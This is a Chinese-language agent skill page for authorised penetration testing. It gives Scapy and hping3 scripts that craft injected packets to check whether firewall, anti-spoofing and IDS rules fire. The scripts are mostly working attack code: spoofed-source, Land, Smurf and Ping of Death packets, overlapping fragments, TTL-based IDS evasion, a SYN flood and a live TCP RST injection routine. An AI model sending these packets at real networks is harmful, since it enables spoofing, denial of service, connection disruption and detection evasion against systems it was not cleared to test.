# Performing Packet Injection Attack

> 在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包， 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。

- Skill: `killvxk/performing-packet-injection-attack` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-packet-injection-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-packet-injection-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-packet-injection-attack

---

# 执行数据包注入攻击

## 适用场景

- 通过注入应触发特定检测签名的流量来测试 IDS/IPS 规则
- 通过构造具有特定标志位、源地址和载荷的数据包来验证防火墙规则
- 评估网络协议栈对畸形数据包、分片攻击和协议违规的抵御能力
- 模拟伪造流量以测试反欺骗控制（BCP38、uRPF）
- 执行 TCP 重置注入（RST Injection），测试连接弹性和会话劫持场景

**不要用于**针对生产系统的拒绝服务攻击、伪造流量以陷害第三方，或在未获明确授权的目标网络上使用。

## 前置条件

- 明确指定目标范围和批准技术的书面授权
- 测试平台已安装 Scapy、hping3 和 Nemesis
- 用于原始套接字访问和数据包构造的 root/sudo 权限
- 目标端安装了 Wireshark 或 tcpdump 以验证数据包送达
- 了解 TCP/IP 协议内部结构、头部字段和标志位组合

## 工作流程

### 步骤 1：使用 Scapy 构造并发送基本测试数据包

```python
#!/usr/bin/env python3
"""使用 Scapy 进行授权测试的基本数据包注入示例。"""

from scapy.all import *

# TCP SYN 数据包（端口扫描模拟）
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
    if response[TCP].flags == "SA":
        print(f"[*] 80 端口开放（收到 SYN-ACK）")
    elif response[TCP].flags == "RA":
        print(f"[*] 80 端口关闭（收到 RST-ACK）")

# TCP XMAS 扫描数据包（所有标志位置位）
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS 数据包已发送（应触发 IDS）")

# NULL 扫描数据包（无标志位）
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL 数据包已发送")

# 带自定义载荷的 ICMP 数据包
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] 自定义 ICMP 数据包已发送")

# 用于测试防火墙规则的 UDP 数据包
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
    print(f"[*] 收到来自 {response[IP].src} 的 DNS 响应")
```

### 步骤 2：IP 欺骗和反欺骗验证

```python
#!/usr/bin/env python3
"""使用伪造源 IP 数据包测试反欺骗控制。"""

from scapy.all import *

# 伪造源 IP（应被 BCP38/uRPF 拦截）
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] 已发送源地址伪造为 192.0.2.100 的 SYN 包")

# Land 攻击测试（源地址 = 目标地址）
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land 攻击数据包已发送（src==dst）")

# Smurf 攻击测试（带伪造源的 ICMP 广播包）
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf 测试数据包已发送（ICMP 广播包）")

# IP 分片重叠测试
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24)  # 重叠分片
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] 重叠 IP 分片已发送")
```

### 步骤 3：TCP 会话操控

```bash
# TCP RST 注入测试连接弹性
# 使用 hping3 发送 RST 数据包
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10

# SYN 泛洪测试（限制数量用于测试，非 DoS）
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# 注意：--flood 以最大速率发送；-c 100 限制为 100 个数据包

# 测试 TCP 窗口操控
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # 零窗口
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # 最大窗口

# 空闲扫描探测
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# 检查响应中的 IP ID 值是否可预测
```

```python
#!/usr/bin/env python3
"""TCP RST 注入，测试会话弹性。"""

from scapy.all import *

# 嗅探活跃 TCP 连接并注入 RST
def rst_inject(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
        rst = IP(
            src=pkt[IP].dst,
            dst=pkt[IP].src
        ) / TCP(
            sport=pkt[TCP].dport,
            dport=pkt[TCP].sport,
            seq=pkt[TCP].ack,
            flags="R"
        )
        send(rst, verbose=0)
        print(f"[*] RST 已注入：{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")

# 嗅探 10 个数据包并尝试 RST 注入
print("[*] 正在监听 TCP ACK 数据包以注入 RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
```

### 步骤 4：协议异常测试

```python
#!/usr/bin/env python3
"""用于 IDS/防火墙测试的协议异常数据包。"""

from scapy.all import *

target = "10.10.20.10"

# 死亡之 Ping（超大 ICMP，应被拦截）
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] 死亡之 Ping 分片已发送")

# 微型分片攻击（TCP 头部跨分片）
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] 微型分片攻击数据包已发送")

# 无效 TCP 标志位组合
invalid_flags = [
    ("SYN+FIN", "SF"),
    ("SYN+RST", "SR"),
    ("仅 FIN（无会话）", "F"),
    ("所有标志位", "FSRPAUEC"),
]

for name, flags in invalid_flags:
    pkt = IP(dst=target) / TCP(dport=80, flags=flags)
    send(pkt, verbose=0)
    print(f"[*] 已发送无效标志位数据包：{name}")

# 基于 TTL 的规避（数据包在到达 IDS 前过期）
# 假设 IDS 在 2 跳外，目标在 5 跳
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] 低 TTL 规避数据包已发送（TTL=3）")

# IP 选项填充
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] 带 IP 记录路由选项的数据包已发送")
```

### 步骤 5：验证 IDS 检测

```bash
# 检查 Snort/Suricata 是否触发注入数据包的告警
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
  python3 -m json.tool | head -50

# 预期 IDS 告警：
# - 检测到 XMAS 扫描（SID：2100330）
# - 检测到 NULL 扫描（SID：2100331）
# - 检测到 Land 攻击
# - 检测到 Smurf 攻击
# - 分片异常
# - 无效 TCP 标志位

# 验证防火墙是否丢弃伪造数据包
sudo iptables -L -n -v | grep -i drop

# 检查分片重组错误
dmesg | grep -i "fragment\|frag"
```

### 步骤 6：记录结果

```bash
# 生成测试结果摘要
cat > packet_injection_report.txt << 'EOF'
数据包注入测试结果
==================
日期：$(date)
目标：10.10.20.10
测试人员：安全评估团队

测试 1：TCP XMAS 扫描
  IDS 检测：是（Suricata SID 2100330）
  防火墙动作：丢弃

测试 2：IP 欺骗（192.0.2.100）
  uRPF 拦截：是（边界路由器丢包）
  IDS 检测：是（源地址不在 HOME_NET 内）

测试 3：分片重叠
  IDS 检测：是（流重组异常）
  目标响应：操作系统丢弃分片

测试 4：无效 TCP 标志位
  IDS 检测：是（SYN+FIN、SYN+RST 被标记）
  防火墙动作：丢弃
EOF
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **数据包注入（Packet Injection）** | 构造并发送具有特定头部值、载荷或标志位组合的网络数据包，以测试网络安全控制 |
| **IP 欺骗（IP Spoofing）** | 在构造数据包中设置虚假源 IP，测试反欺骗控制（BCP38、uRPF）或冒充其他主机 |
| **TCP RST 注入（TCP RST Injection）** | 发送伪造的 TCP RST 数据包以终止已建立的连接，测试会话弹性和连接重置防御 |
| **分片攻击（Fragmentation Attack）** | 利用 IP 分片将恶意载荷拆分到多个分片中，规避不重组分片的数据包检测 |
| **uRPF（单播反向路径转发）** | 路由器级别的反欺骗机制，若源 IP 无法通过入口接口路由返回则丢弃数据包 |
| **BCP38（网络入口过滤）** | 通过过滤来自不属于该网络的源地址数据包来防止边界 IP 欺骗的最佳实践 |

## 工具与系统

- **Scapy**：Python 数据包操控库，可对所有协议头部进行完全控制的任意网络数据包构造
- **hping3**：命令行数据包生成器，支持 TCP、UDP、ICMP，可控制标志位、TTL、窗口大小和数据包速率
- **Nemesis**：网络数据包注入工具，支持 Ethernet、ARP、IP、TCP、UDP、ICMP、DNS 等协议
- **tcpreplay**：以受控速率重放捕获 PCAP 文件的工具，用于针对已知流量模式测试 IDS 规则
- **Nping**：Nmap 的数据包生成工具，可构造带任意 TCP/UDP/ICMP 头部的探测包

## 常见场景

### 场景：部署后验证 IDS 规则

**背景**：SOC 团队部署了用于检测侦察和规避技术的新 Suricata 规则，需要在正式上线前验证规则是否正确触发。测试在复制生产环境的暂存环境中进行。

**方法**：
1. 使用 Scapy 构造 XMAS、NULL 和 FIN 扫描数据包并发送到测试目标，验证扫描检测规则
2. 生成带无效 TCP 标志位组合（SYN+FIN、SYN+RST）的数据包，测试协议异常规则
3. 发送超大 ICMP 数据包和分片载荷，测试分片检测规则
4. 注入带伪造源 IP 的数据包，验证反欺骗规则是否正确触发
5. 在活跃 HTTP 会话期间发送 TCP RST 注入数据包，测试会话中断检测
6. 验证所有预期的 Suricata 告警是否以正确的严重级别和元数据出现在 EVE JSON 日志中
7. 记录哪些规则触发、哪些未触发，并建议针对任何差距进行规则调优

**注意事项**：
- 注入速度过快，压垮测试网络或 IDS 传感器
- 数据包校验和计算错误，导致数据包在到达 IDS 前被静默丢弃
- 未考虑有状态防火墙会在数据包到达 IDS 检测之前丢弃非法状态数据包
- 从 NAT 后方测试导致源端口被修改，破坏构造的 TCP 序号

## 输出格式

```
## 数据包注入测试报告

**目标**：10.10.20.10（test-server-01）
**IDS 传感器**：suricata-staging-01
**测试日期**：2024-03-15

### 测试矩阵

| 测试 | 数据包类型 | 预期检测 | 实际结果 |
|------|-----------|---------|---------|
| 1 | TCP XMAS 扫描 | SID 2100330 | 已检测 |
| 2 | TCP NULL 扫描 | SID 2100331 | 已检测 |
| 3 | SYN+FIN 无效标志 | SID 2100332 | 已检测 |
| 4 | IP 伪造源 | SID 2003000 | 已检测 |
| 5 | Land 攻击 | SID 2100333 | 未检测 |
| 6 | 分片重叠 | SID 2200001 | 已检测 |
| 7 | 死亡之 Ping | SID 2100334 | 已检测 |
| 8 | TCP RST 注入 | 自定义 SID | 未检测 |

### 检测率：6/8（75%）

### 已识别的差距
1. Land 攻击（src==dst）未被检测 — 添加规则 SID 2100333
2. TCP RST 注入未被检测 — 为窗口外 RST 创建自定义规则
```

